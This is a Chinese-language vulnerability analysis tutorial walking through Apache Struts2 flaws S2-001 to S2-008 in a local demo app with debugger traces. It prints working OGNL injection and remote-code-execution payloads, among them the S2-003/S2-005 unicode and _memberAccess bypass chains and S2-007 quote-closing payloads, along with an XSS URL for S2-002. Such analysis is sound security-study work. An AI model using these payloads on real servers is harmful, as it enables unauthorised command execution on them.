Loading

struts2漏洞1-9

struts2 漏洞

简介

Struts2 是一款 JavaWeb MVC (Model-View-Controller) 框架,同时它具有如下特性:

  1. POJO (Plain Old Java Object) Action: 控制器(Action)是简单的 Java 类,不需要实现特定的接口或继承特定的类(尽管可以继承 ActionSupport 来获得便利方法),这使得测试更加容易。
  2. 拦截器 (Interceptors): Struts 2 的核心。它们提供了一种面向切面编程 (AOP) 的方式来处理横切关注点,如日志记录、验证、文件上传、安全检查、数据绑定等。请求在到达 Action 之前和之后都会经过一系列配置好的拦截器。
  3. OGNL (Object-Graph Navigation Language): 强大的表达式语言,用于在视图层(如 JSP)访问和操作 ValueStack 中的数据,以及进行类型转换和数据绑定。(这也是 Struts 2 历史上许多严重安全漏洞的根源)
  4. ValueStack: 每个请求的核心数据存储区域。它是一个栈结构,用于存放 Action 实例、模型对象以及其他上下文数据,使得 OGNL 可以方便地访问这些数据。
  5. 结果类型 (Result Types): 定义了 Action 执行完毕后如何处理响应。常见的类型包括 dispatcher (转发到 JSP/HTML), redirect (重定向到另一个 URL), stream (返回文件流), json (返回 JSON 数据) 等。结果是可配置和可扩展的。
  6. 标签库 (Tag Library): 提供了一套丰富的 JSP 标签(如 <s:property>, <s:textfield>, <s:iterator>),用于简化视图开发,特别是与 ValueStack 和 OGNL 的集成。
  7. 插件架构 (Plugins): 允许方便地集成第三方功能,如 Spring 集成、REST 支持、JSON 支持、Convention 插件(约定优于配置)等。
  8. 基于 XML 或注解的配置: 主要通过 struts.xml 文件来配置 Action 映射、拦截器栈、结果等,但也支持使用注解进行配置(需要 Convention 插件)。

漏洞项目:https://github.com/xhycccc/Struts2-Vuln-Demo

S2-001

漏洞影响版本:WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8

我们直接看入门的代码吧,以 s2-001 漏洞为例,了解一下 strut2 的运行机制和漏洞的产生原因

在 idea 中创建一个 webapp 的 maven 项目,引入依赖

<dependency>
    <groupId>org.apache.struts</groupId>
    <artifactId>struts2-core</artifactId>
    <version>2.0.8</version>
</dependency>

修改 web.xml,添加过滤器和映射路径

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>Archetype Created Web Application</display-name>
  <filter>
    <filter-name>struts2</filter-name>
    <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
  </filter>
  <filter-mapping>
    <filter-name>struts2</filter-name>
    <url-pattern>/*</url-pattern>
  </filter-mapping>
  <welcome-file-list>
    <welcome-file>index.jsp</welcome-file>
  </welcome-file-list>
</web-app>

修改 src/main/webapp/index.jsp 内容,利用 struts2 的标签 创建表单

<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%--引入标签库--%>
<%@ taglib prefix="s" uri="/struts-tags" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
    <s:textfield name="username" label="username" />
    <s:textfield name="password" label="password" />
    <s:submit></s:submit>
</s:form>
</body>
</html>

接着在 webapp 下 创建 hello.jsp 文件,用来做结果跳转页面

<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>S2-hello</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>

在 main/java 下 创建 com.lingx5.loginAction 的 java 类文件,用来处理请求

struts2 适用 action 来处理请求的,功能类似于 servlet

package com.lingx5.action;

public class LoginAction  {
    private String username = null;
    private String password = null;

    public String getUsername() {
        return this.username;
    }

    public String getPassword() {
        return this.password;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String login() {
        if ((this.username.isEmpty()) || (this.password.isEmpty())) {
            return "error";
        }

        if ((this.username.equals("admin")) && (this.password.equals("admin"))) {
            return "success";
        }
        return "error";
    }
}

有处理请求的 action 和 发送请求的页面 index.jsp 了,怎么把他俩给映射起来呢?

创建 src/main/resources/struts.xml 配置文件,用来把 action 和 jsp 做映射

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">

<struts>
    <package name="default"  extends="struts-default">
<!--        action的name属性是访问路径, method指拦截请求后要执行的方法-->
        <action name="login" class="com.lingx5.action.LoginAction" method="login">
<!--            result是 根据action类的返回值 跳转不同的 jsp页面-->
            <result name="success">/hello.jsp</result>
            <result name="error">/index.jsp</result>
        </action>
    </package>
</struts>

整体的项目结构

image-20250407143216436

我们启动项目

image-20250407133753074

可以登录一下 输入 admin:admin

image-20250407144320996

登录成功,现在这个漏洞项目就搭建好了

说一下具体的执行流程

用户访问 index.jsp 首页,输入 username 和 password 点击 submit 提交,表单设置的 action="login" , struts2 会去从 struts.xml 文件需找 login 的 action ,执行 LoginAction 对应的方法 根据返回结果 返回 struts.xml 中 对应的 jsp 页面

这就是最基本的访问流程

漏洞分析

我们在 password 输入 %{2+2}

image-20250407145041981

点击 submit 后

image-20250407145131640

执行了

我们看看他是如何解析执行的

我们收来来到 struts2 的标签解析的方法,在定义的标签上,ctrl 左键

image-20250407161432059

看到是由 org.apache.struts2.views.jsp.ui.TextFieldTag 做的解析

image-20250407161542410

我们来看一下这个类,勾上继承,可以查看继承的父类方法

image-20250407161725115

发现他继承了 ComponentTagSupport#doStartTag 和 ComponentTagSupport#doEndTag 方法,顾名思义这两个方法肯定就是标签开始解析,和标签结束解析的方法

image-20250407161929328

我们在 doEndTag 下断点

image-20250407162137437

同样在 password 的标签发送 %{2+2} 这个 ognl 表达式

我们拦截道 password 的标签

image-20250407162612306

步入这个 end 方法,来到 UIBean#end 方法,调用了 evaluateParams() 方法,名字也可以看出来 评估参数

image-20250407162716484

步入,一直往下走,我们会来到 findValue() 方法,解析 ognl 表达式

image-20250407163911653

我们进入看看这个方法是如何解析 ognl 表达式的

image-20250407164215119

我们步入 TextParseUtil.translateVariables() 方法,可以看到这个方法写了一个死循环,也就是说只要是 ognl 表达式,他就会循环解析,他还没有做过滤,这就给我们 ognl 注入提供了条件

image-20250407164331838

我们现在还是 %{password} ,肯定是要先去获取我们在输入框里 传的值:%{2+2} 继续往下走

看到经过处理后 从 stack 中 找 password 对应的值了

image-20250407171033540

一步步跟,看到他 在 ognl.ASTProperty#getValueBody 方法中 拿到了 password 对应的字段值

image-20250407170252577

调用栈

getValueBody:93, ASTProperty (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)
getValue:333, Ognl (ognl)
getValue:194, OgnlUtil (com.opensymphony.xwork2.util)
findValue:238, OgnlValueStack (com.opensymphony.xwork2.util)
translateVariables:122, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:71, TextParseUtil (com.opensymphony.xwork2.util)
findValue:313, Component (org.apache.struts2.components)
evaluateParams:723, UIBean (org.apache.struts2.components)
end:481, UIBean (org.apache.struts2.components)
doEndTag:43, ComponentTagSupport (org.apache.struts2.views.jsp)

我们拿到 %{2+2}

一路弹栈,来到最初的 TextParseUtil#translateVariables 的死循环解析中,下次循环就开始解析 %{2+2} 这个 ognl 表达式了

image-20250407171313020

看到在 ognl.Ognl#getValue() 方法中 “2+2” 这个表达式已经被抽象成 ASTAdd 这个语法树了, 此时执行 getValue() 方法,就是执行加法了

这里抽象语法树的类型有很多,每种都有自己的实现,以完成 ognl 不同的功能

image-20250407183948085

image-20250407181821213

跟如

image-20250407183201335

注意 ognl 对执行过得表达式,会进行缓存,尝试重启服务清理缓存就会跟到这里了

然后就是回显,利用 UIBean 这个类,添加 name value 进行回显

一路弹栈,回到 UIBean 执行 addParameter()

image-20250407184330379

然后调用 mergeTemplate 完成回显

image-20250407184522019

当然,我们也可以利用 ognl 表达式,主动解析回显,利用 HttpServletResponse 写回页面即可

%{
#writer=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#writer.println(@java.lang.System@getProperty("user.dir")),
#writer.flush(),
#writer.close()
}

成功回显

image-20250407185415274

s2-002

Struts2-002 是一个 XSS 漏洞,该漏洞发生在 s:urls:a 标签中,当标签的属性 includeParams=all 时,即可触发该漏洞。

漏洞影响版本: Struts 2.0.0 - Struts 2.1.8.1 。更多详情可参考官方通告:
https://cwiki.apache.org/confluence/display/WW/S2-002

启动项目

image-20250407201025542

访问

http://localhost:8080/S002/login.action?<script>alert(1)</script>

触发 xss

image-20250407201157202

漏洞分析

依然会在 ComponentTagSupport#doStartTag 和 doEndTag 解析标签,我们在 doStartTag 打断点,看他是如何造成 xss 的

我们是从 urlTag 类,执行的父类方法的 doStartTag

image-20250407210625744

会调用 start 我们步入,会看到为什么漏洞要求 includeParams 为 all

image-20250407210842109

我们步入 mergeRequestParameters,看到它获取到了我们传入的 payload,并存放在了 parameters 表中

image-20250407211040359

下面会执行 includeGetParameters,我们同样会调用到 mergeRequestParameters

image-20250407211352524

存放了一个进行 url 编码的 payload

image-20250407211431190

最后的 includeExtraParameters 为 null

之后就来到了 doStartTag 的 return

image-20250407212043371

  • 0:对应 Tag.SKIP_BODY,表示跳过标签主体,不对其进行处理。
  • 1:对应 Tag.EVAL_BODY_INCLUDE,表示评估标签主体并将其直接包含到输出中。
  • 2:对应 BodyTag.EVAL_BODY_BUFFERED,表示评估标签主体并将其缓冲起来,以便后续处理(仅适用于实现了 BodyTag 接口的标签)。

我们接着看 doEndTag 是如何进行处理的

我们回跳转到 org.apache.struts2.components.URL#end 方法 会调用 determineActionURL 来获取 url

image-20250407212804951

result 会包含 payload,然后 调用 writer.write 写回页面,

image-20250407213347328

浏览器页面解析 触发 xss

执行完成之后

image-20250407213854573

修复

后续的修复也挺水的

result = link.toString(); result.indexOf("<script>") > 0; result = result.replaceAll("<script>", "script")) 

这个可以轻松 双写绕过 <<script>>

S2-003

这是又爆出来的 RCE 漏洞,这个漏洞主要是参数名使用了 ognl 解析

影响版本:Struts 2.0.0 - Struts 2.1.8.1
参考链接:S2-003 - Apache Struts 2 Wiki - Apache Software Foundation

这个要在 tomcat6 下,而且不需要 struts 标签,只需要一个 action 类即可

主要是 struts2 在 调用 com.opensymphony.xwork2.interceptor.ParametersInterceptor 拦截器时,解析参数名的 ognl 导致的

漏洞分析

我们先来看看 ParametersInterceptor 这个类,做了那些事情

首先关注的肯定就是 setParameters 这个主要来解析我们参数的方法

参数解析

但这并不是我们的入口函数,入口是拦截器的 ParametersInterceptor#intercept 这个方法,他经过判断调用了 setParameters 后边在讲

首先给个正常的参数值 lingx5 = 1

image-20250408101743208
protected void setParameters(Object action, ValueStack stack, Map parameters) {
    ParameterNameAware parameterNameAware = action instanceof ParameterNameAware ? (ParameterNameAware)action : null;
    Map params = null;
    if (this.ordered) {
        params = new TreeMap(this.getOrderedComparator());
        params.putAll(parameters);
    } else {
        params = new TreeMap(parameters);
    }

    for(Map.Entry entry : params.entrySet()) {
        // 把参数名 转为字符串,赋给name变量
        String name = entry.getKey().toString();
        boolean acceptableName = this.acceptableName(name) && (parameterNameAware == null || parameterNameAware.acceptableParameterName(name));
        if (acceptableName) {
            // 获得传递参数的值,也就是name的值
            Object value = entry.getValue();

            try {
                // 把名字和值,存放到 stack中,我们要去看,这个方法是如何执行的
                stack.setValue(name, value);
            } catch (RuntimeException e) {
                if (devMode) {
                    String developerNotification = LocalizedTextUtil.findText(ParametersInterceptor.class, "devmode.notification", ActionContext.getContext().getLocale(), "Developer Notification:\n{0}", new Object[]{e.getMessage()});
                    LOG.error(developerNotification);
                    if (action instanceof ValidationAware) {
                        ((ValidationAware)action).addActionMessage(developerNotification);
                    }
                } else {
                    LOG.error("ParametersInterceptor - [setParameters]: Unexpected Exception catched: " + e.getMessage());
                }
            }
        }
    }

}

image-20250408102032765

来到 stack.setValue(name, value) 我们步入,发现他会调用 OgnlUtil#setValue 方法

image-20250408102135883

继续跟入,发现他会去封装一个 Node 节点,这就有意思了

我们之前也讲到过,ognl 有很多的 node 节点,也就是 AST 的一些实现

image-20250408102747975

每种都有不同的功能

image-20250408102610006

正常情况下,会封装一个 ASTProperty 的节点

image-20250408102858631

执行他的 setValueBody 方法

image-20250408103021214

我们知道了这些,就可以看看 有没有一个 抽象语法书的 setValueBody 方法 是可以直接解析 ognl 表达式的

ASTEval 分析

最终找到了 ASTEval 这个节点的 setValueBody 方法

我们来看一下他是如何解析的

protected void setValueBody(OgnlContext context, Object target, Object value) throws OgnlException {
    // 取第一个 children 的值并计算,给到 expr
    Object expr = super. children[0].getValue(context, target);
    Object previousRoot = context.getRoot();
    // 取第二个 children 的值并计算,给到 target
    target = super.children[1].getValue(context, target);
    // 判断 expr 是否为 node 类型,如果不是,则调用 Ognl.parseExpression() 尝试进行解析,解析的结果强转为 node 类型;
    Node node = expr instanceof Node ? (Node)expr : (Node)Ognl.parseExpression(expr.toString());

    try {
        context.setRoot(target);
        // 最后调用 setValue 
        node.setValue(context, target, value);
    } finally {
        context.setRoot(previousRoot);
    }

}

通过上述代码逻辑,我们不难发现我们的参数形式应该是 (one)(two) 这种,且 children [0] 也就是 (one) 如果是 ognl 表达式的话,就会被 Ognl.parseExpression 解析

我们尝试传入 payload 参数 (one)(two) , 看到抽象成了,ASTEval 这种节点

image-20250408130408561

看到进入了 ASTEval 的 setValueBody 方法

image-20250408130520271

那我们尝试传入 ognl 表达式,看看能不能正常解析呢?

('@java.lang.Runtime@getRuntime().exec(\'calc\')')('aaa')

并没有执行,我们调试一下看看

image-20250408164738608

调用栈

callStaticMethod:98, XWorkMethodAccessor (com.opensymphony.xwork2.util)
callStaticMethod:847, OgnlRuntime (ognl)
getValueBody:65, ASTStaticMethod (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)
setValueBody:168, ASTChain (ognl)
evaluateSetValueBody:177, SimpleNode (ognl)
setValue:246, SimpleNode (ognl)
setValueBody:75, ASTEval (ognl)
evaluateSetValueBody:177, SimpleNode (ognl)
setValue:246, SimpleNode (ognl)
setValue:476, Ognl (ognl)
setValue:186, OgnlUtil (com.opensymphony.xwork2.util)
setValue:158, OgnlValueStack (com.opensymphony.xwork2.util)
setValue:146, OgnlValueStack (com.opensymphony.xwork2.util)
setParameters:187, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
intercept:153, ParametersInterceptor (com.opensymphony.xwork2.interceptor)

这主要是因为 在 ParametersInterceptor#intercept 函数中,设置了 DenyMethodExecution 为 true

image-20250408144609472

unicode 符号绕过

我们得用 ognl 表达式,把 xwork.MethodAccessor.denyMethodExecution 这个的值改为 false

(#context['xwork2.ognl.OgnlRuntime.denyMethodExecution']=false)('aaa')
url编码后
(%23context%5b%27xwork2.ognl.OgnlRuntime.denyMethodExecution%27%5d%3dfalse)(%27aaa%27)

image-20250408144856456

看一下这个实现

protected boolean acceptableName(String name) {
return name.indexOf(61) == -1 && name.indexOf(44) == -1 && name.indexOf(35) == -1 && name.indexOf(58) == -1 && !this.isExcluded(name);
}

对应的 ascii 码分别为 =,#:

这部分的绕过

由于在 OgnlParserTokenManager 方法中使用了 ognl.JavaCharStream#readChar() 方法,在读到 \\u 的情况下,会继续读入 4 个字符,并将它们转换为 char,因此 OGNL 表达式实际上支持了 unicode 编码,这就绕过了之前正则或者字符串判断的限制。

我们传入 unicode 编码的 payload

('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(aaa)

当我们传入了表达式时,会去执行 complie

image-20250408165140827

可以去看一下他的处理

image-20250408165321300

调用 topLevelExpression

image-20250408165356848

内部有处理 unicode 编码的逻辑,其主要逻辑在 JavaCharStream 中,在 OgnlParser 的构造函数中,就初始化了 JavaCharStream

image-20250408170429804

我们在 javaCharStream 的 readChar 函数下断点

image-20250408170523773

在 294 行看到处理 unicode 编码的逻辑

image-20250408170902764

经过 complie 解析后 return o 的值

image-20250408174638058

之后到 ASTEval 的 setValueBody

image-20250408175307016

双层 ASTEval 绕过

ASTAssign (代表赋值操作,如 user.name = 'New Value')

但是我们就两个 (one)(two) 的时候,会抛出异常

image-20250408175608060

这是因为 我们 在 ASTEval 的 setValueBody 中,children [0] 和 children [1] 获取完了之后,调用了 ASTAssign 的 setValue 方法,而 ASTAssign 本身就没有 setValue 方法,他只实现了 getValueBody 方法,也就是说 ASTAssign 这个节点是不允许有 setValue 操作的

package ognl;

class ASTAssign extends SimpleNode {
    public ASTAssign(int id) {
        super(id);
    }

    public ASTAssign(OgnlParser p, int id) {
        super(p, id);
    }

    protected Object getValueBody(OgnlContext context, Object source) throws OgnlException {
        Object result = super.children[1].getValue(context, source);
        super.children[0].setValue(context, source, result);
        return result;
    }

    public String toString() {
        return super.children[0] + " = " + super.children[1];
    }
}

这本身也是见名知意的事情,ASTAssign 的语义是“执行赋值”,而不是“被赋值”。

通过 getValueBody 执行赋值:

  1. 求值右边(children [1]),得到一个值。

  2. 将这个值设置到左边(children [0])上。

  3. 返回右边的值作为整个表达式的结果。

那我们要怎么去让他执行到 getValueBody 呢?

答案也很简单,我们让 ASTEval 的 children [0] 作为一个新的 ASTEval,这时候 children [0].getValueBody() 方法就会去执行 ASTEval 的 getValueBody 方法,进而可以执行到 ASTAssign 的 getValueBody 方法

('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(aaa)(aaa)

看到 在 ASTEval 的 setValueBody 中 children [0] 作为了一个新的 ASTEval 对象,并且可以执行 getValue 方法

image-20250408184404932

跟一下

ognl.SimpleNode#getValue => ognl.SimpleNode#evaluateGetValueBody => ASTEval#getValueBody

可以看到最终到了 ASTAssign 的 getValue 方法

image-20250408184932123

ASTAssign 也没有实现 getValue 方法,经过父类的中转,最终来到了它的 getValueBody 方法

image-20250408182016464

再往下走一步

image-20250408182045669

最终 payload

经过上面的分析,我们的 payload 来到了

('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(aaa)(aaa)&('@java.lang.Runtime@getRuntime().exec(\'calc\')')('aaa')

我们打进去看看

image-20250408190227623

由于 TreeMap 的特性,我们会先去解析静态变量 @ 我们得在 Runtime 之前给他加个赋值语句, 加上 = 号 之后,别忘了再次 把 ASTEval 双写,不然还是会 在 ASTAssign 出报错的

('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(lingx5)(lingx5)&('\u0023lingx5\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(lingx5)(lingx5)

看到先执行

('\u0023context ['xwork.MethodAccessor.denyMethodExecution']\u003dfalse')(lingx5)(lingx5)

image-20250408190714955

在执行

('\u0023lingx5\u003d@java.lang.Runtime@getRuntime().exec('calc')')(lingx5)(lingx5)

image-20250408191245437

来到了命令执行拦截的地方,可以看到 这次我们的 e 为 false ,就会去调用方法了

image-20250408190948927

去掉断点,运行程序,成功执行

image-20250408191548600

S2-005

官方在 struts2-core 2.0.12 对 S2-003 进行了修复,S2-005 实际上就是 S2-003 的绕过

影响版本:Struts 2.0.0 - Struts 2.1.8.1

参考链接:https://cwiki.apache.org/confluence/display/WW/S2-005

看到 setParameters 方法 新增了一个 ClearableValueStack 和 MemberAccessValueStack 接口,来增加安全性

image-20250408205604183

这两个安全接口由 com.opensymphony.xwork2.util.OgnlValueStack 实现

image-20250409093830901

漏洞分析

我们可以用 S3-003 的 payload 来打一下,看看有哪些限制

('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(lingx5)(lingx5)&('\u0023lingx5\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(lingx5)(lingx5)

看到在 ParametersInterceptor#setParameters 方法 初始化的 stack,新添了一些安全的参数

image-20250409094931824

看到第一个参数执行完成,还是可以成功修改 xwork.MethodAccessor.denyMethodExecution 的值的

('\u0023context ['xwork.MethodAccessor.denyMethodExecution']\u003dfalse')(lingx5)(lingx5)

image-20250409095334113

这就说明了,我们的 ognl 表达式 还是可以被解析执行的。那么我们的方法并没有执行,肯定是新加入的某个参数判断,阻止了 我们的恶意命令执行,我们只需要把它找出来,用 ognl 表达式修改为对应可以执行的参数即可

我们跟一下这个第二句命令执行的操作,看看是哪里做了限制

('\u0023lingx5\u003d@java.lang.Runtime@getRuntime().exec('calc')')(lingx5)(lingx5)

通过调试发现在 SecurityMemberAccess#isAcceptableProperty 的判断,没有通过

image-20250409102424409

程序的调用站,拿出来看一下

isAcceptableProperty:71, SecurityMemberAccess (com.opensymphony.xwork2.util)
isAccessible:67, SecurityMemberAccess (com.opensymphony.xwork2.util)
isMethodAccessible:1283, OgnlRuntime (ognl)
callAppropriateMethod:796, OgnlRuntime (ognl)
callStaticMethod:48, ObjectMethodAccessor (ognl)
callStaticMethod:99, XWorkMethodAccessor (com.opensymphony.xwork2.util)
callStaticMethod:833, OgnlRuntime (ognl)
getValueBody:65, ASTStaticMethod (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)
getValueBody:109, ASTChain (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)
getValueBody:49, ASTAssign (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)
getValueBody:58, ASTEval (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)
setValueBody:67, ASTEval (ognl)
evaluateSetValueBody:177, SimpleNode (ognl)
setValue:246, SimpleNode (ognl)
setValue:476, Ognl (ognl)
setValue:186, OgnlUtil (com.opensymphony.xwork2.util)
setValue:178, OgnlValueStack (com.opensymphony.xwork2.util)
setValue:166, OgnlValueStack (com.opensymphony.xwork2.util)
setParameters:230, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
doIntercept:176, ParametersInterceptor (com.opensymphony.xwork2.interceptor)

我们来看一下 isAcceptableProperty 这个方法

protected boolean isAcceptableProperty(String name) {
    if (isAccepted(name) && !isExcluded(name)) {
        return true;
    }
    return false;
}

//  isAccepted 方法的判断逻辑
protected boolean isAccepted(String paramName) {
    if (!this.acceptProperties.isEmpty()) {
        for (Pattern pattern : acceptProperties) {
            Matcher matcher = pattern.matcher(paramName);
            if (matcher.matches()) {
                return true;
            }
        }

        //no match, but acceptedParams is not empty
        return false;
    }

    //empty acceptedParams
    return true;
}

// isExcluded 方法的判断逻辑
protected boolean isExcluded(String paramName) {
    if (!this.excludeProperties.isEmpty()) {
        for (Pattern pattern : excludeProperties) {
            Matcher matcher = pattern.matcher(paramName);
            if (matcher.matches()) {
                return true;
            }
        }
    }
    return false;
}

以上逻辑不难发现只有当 isAccepted() 返回 true,isExcluded() 返回 false 的情况下,才能调用方法

我们接着往下调试,看到 isAccepted() 返回 true

image-20250409103041065

而在 isExcluded() 方法中,因为 paramName 为空 抛出了异常,所以就没有放回 false

image-20250409103130411

所以我们只需要用 ognl 表达式把 excludeProperties 设置为空,就可以绕过这个异常抛出,从而返回 false

我们看看 excludeProperties 在哪里?怎么设置

在刚开始创建的 newStack 中

image-20250409104635205

我们跟一下 newStack 的创建过程 发现调用了 ognl.Ognl#createDefaultContext 方法 来创建 context 上下文

image-20250409105234009

封转完成 是 给到了 OgnlContext 的 memberAccess 属性,看到它继承了 Map

image-20250409123017789

那么我们的程序是如何来获取的呢?

最终在 OgnlContext 的 get 方法中找到了对应的键 _memberAccess 会返回 memberAccess

image-20250409122809009

payload

所以就构造出来可以绕过的 payload

('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(lingx5)(lingx5)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(lingx5)(lingx5)&('\u0023lingx5\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(lingx5)(lingx5)

看到当我们用 Runtime 执行方法时,excludeProperties 为空,成功绕过

image-20250409125047313

执行成功

image-20250409125127030

当然为了 payload 的通用性,我们还可以一并把 acceptProperties 设为空集,allowStaticMethodAccess 设置为 true

('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(lingx5)(lingx5)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(lingx5)(lingx5)&('\u0023_memberAccess.acceptProperties\u003d@java.util.Collections@EMPTY_SET')(lingx5)(lingx5)&('\u0023_memberAccess.allowStaticMethodAccess \u003dtrue')(lingx5)(lingx5)&('\u0023lingx5\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(lingx5)(lingx5)

image-20250409125605744

S2-007

影响版本:Struts 2.0.0 - Struts 2.2.3

参考链接:https://cwiki.apache.org/confluence/display/WW/S2-007

在我们向表单中输入数据时,比如 int age 我们给它输入一个 aaa 的字符串。这时他转换不成 int 类型,struts2 就会调用 com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor 拦截器来处理这个错误,并且将用户输入取出插入到当前值栈中,二次解析我们的输入,从而造成了表达式注入

漏洞分析

我们向 为 int 类型的 age 字段 输入 aaaa

image-20250409150608407

在 ConversionErrorInterceptor#intercept() 下断点,跟一下看他如何处理的

image-20250409150743359

执行 getOverrideExpr 生成一个表达式,用于覆盖默认的转换结果。

image-20250409151300703

看到它给我们的值做了 字符串拼接,用 ‘ ’ 进行包裹

image-20250409153345360

然后保存到 context 中

image-20250409152415626

最终在 doEndTag 进行解析的时候,执行 overrides.get(expr) 获取 ‘ ’ 包裹的错误值

image-20250409154859565

看一下调用栈

findValue:258, OgnlValueStack (com.opensymphony.xwork2.util)
translateVariables:149, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:100, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:73, TextParseUtil (com.opensymphony.xwork2.util)
findValue:313, Component (org.apache.struts2.components)
evaluateParams:723, UIBean (org.apache.struts2.components)
end:481, UIBean (org.apache.struts2.components)
doEndTag:43, ComponentTagSupport (org.apache.struts2.views.jsp)

getValue 后续的解析就和之前差不多了,注意 AST 表达式的生成和调用方法就可以

payload

我们可以使用 '+ +' 去闭合 getOverrideExpr 添加的 '

'+ (@java.lang.Runtime@getRuntime().exec('calc')) +'

成功执行

image-20250409161935368

可能有点疑惑的就是,我们在 S2-003 的时候 不是还要添加 #context ["xwork.MethodAccessor.denyMethodExecution"] = false 吗?为什么这个不添加,也可以执行呢?

答案其实也很简单,因为 S2-003 是在参数拦截器造成的问题,而在拦截器的方法中(ParametersInterceptor#intercept) 显示的把 denyMethodExecution 设置为了 true,但是在执行完成之后的 finally 代码快中 又设置为了 false

image-20250409165616851

而我们的 S2-007 并不是在 ParametersInterceptor 这里 解析的,而是在 doEndTag 方法中 解析

在 Struts 2.0.12 以后 添加了 allowStaticMethodAccess 这个属性,可以用以下 payload

' + (#_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('calc'))+ '

亲测 在 2.0.12 中不存在此漏洞, struts2 会给强转类型一个默认值 不会给 overrides 填值

PixPin_2025-04-09_19-14-13

而在 后一个版本(2.0.14)中 又可以利用了

PixPin_2025-04-09_19-12-51

调试了一下 发现,在 2.0.14 中 的 SecurityMemberAccess#isExcluded 当 paramName 为 null 时不在抛出异常,也就是第一个 payload 和 第二个 payload 都可以用 而且 不用像 S2-005 的绕过 一样,把 excludeProperties 设置为空

image-20250409192428124

image-20250409192509224

注意

如果在 2.0.12 之前版本 只能用 '+ (@java.lang.Runtime@getRuntime().exec('calc')) +'

否则的话会报错

ognl.NoSuchPropertyException: ognl.DefaultMemberAccess.allowStaticMethodAccess

image-20250409163039271

在之后更推荐 ' + (#_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('calc'))+ '

因为攻击目标可能手动把 allowStaticMethodAccess 设置为 false

S2-008

影响版本:Struts 2.0.0 - Struts 2.3.17

参考链接:https://cwiki.apache.org/confluence/display/WW/S2-008

为防止攻击者在参数中调用任意方法,标志 xwork.MethodAccessor.denyMethodExecution 默认设置为 true,SecurityMemberAccess 字段 allowStaticMethodAccess 默认设置为 false。此外,自 Struts 2.2.1.1 起,为防止访问上下文变量,在 ParameterInterceptor 中应用了改进的参数名称字符白名单:

acceptedParamNames = "[a-zA-Z0-9\.][()_']+";

  1. Remote command execution in Struts <= 2.2.3 (ExceptionDelegator)
  2. Remote command execution in Struts <= 2.3.1 (CookieInterceptor)
  3. Arbitrary File Overwrite in Struts <= 2.3.1 (ParameterInterceptor)
  4. Remote command execution in Struts <= 2.3.17 (DebuggingInterceptor)

其中 第一条就是说的 S2-007 漏洞,利用错误的强转来实现 RCE

3、ParameterInterceptor 这个就是由于 acceptedParamNames 的正则过滤没有过滤掉 括号 符号,从而可以调用一些构造方法,比如 FileWriter 可以创建 文件或者 把已有的文件制空

4、DebuggingInterceptor 这其实可以看作 Struts 的一个特性,因为 debug 模式下,本身就赋予了命令执行的权力

<constant name="struts.devMode" value="true" />

